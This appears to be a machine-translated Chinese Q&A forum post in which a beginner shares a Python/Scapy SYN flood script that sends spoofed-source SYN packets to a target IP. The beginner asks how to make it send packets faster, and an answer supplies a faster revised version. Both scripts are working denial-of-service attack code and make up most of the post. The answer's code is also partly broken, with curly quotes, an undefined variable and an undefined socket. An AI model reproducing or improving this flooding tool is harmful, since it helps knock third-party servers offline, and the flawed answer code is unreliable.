我如何改善代码?每秒发送的数据包的性能应该提高。我是一个初学者

时间:2018-08-12 14:22:28

标签: python-3.x

我正在尝试创建一个对目标服务器执行SYNFLOOD的工具。一切工作正常,但脚本的性能有很多不足之处。任何人都可以提出一些方法来最大化该工具的性能吗?

from scapy.all import *
import random

def synflood(targetip):
    sp = random.randint(1025,65535)
    print ("Selected random source port is ---->",sp)
    s = conf.L3socket(iface='eth0')
  s.send(IP(src=RandIP(),dst=targetip)/TCP(sport=sp,dport=80,flags="S"))

print("Enter target ip:")
tar = input("")
p = input("Enter the number of request to be send to the target:")
pi = int(p)
i = 0
while i < pi:
    print("***********************************************************")
    print ("Sending SYN packets with Random Source and Random port:")
    synflood(tar)
    i += 1
    print ("End of Attack number:",i)
    print("***********************************************************")

print("END!")

1 个答案:

答案 0 :(得分:0)

如果您不介意使用哪个端口(它允许我们删除打印件),则可以使用此修订版的代码。

还要注意,打印速度很慢。如果删除打印语句,则一切都会更快

from scapy.all import *

def synflood(targetip, count):
    # sends multiple packets (count)
    send(IP(src=RandIP(),dst=targetip)/TCP(sport=RandNum(1025,65535),dport=80,flags="S"), iface=“eth0”, count=count)

print("Enter target ip:")
tar = input("")
p = input("Enter the number of request to be send to the target:")
print(“******”)
print ("Sending SYN packets with Random Source and Random port:")
synflood(tar, p)
print ("End of Attack number:",i)
print("******”)
# remember to close the socket
s.close()
print(“End!”)